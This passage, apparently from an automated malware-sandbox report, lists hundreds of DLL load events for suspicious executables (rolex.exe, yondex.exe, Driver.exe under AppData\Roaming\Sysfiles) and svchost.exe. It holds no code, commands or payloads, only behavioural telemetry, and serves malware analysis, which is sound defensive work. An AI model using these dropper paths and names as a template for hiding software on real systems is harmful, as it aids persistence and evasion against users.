Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Section loaded: winhttp.dll
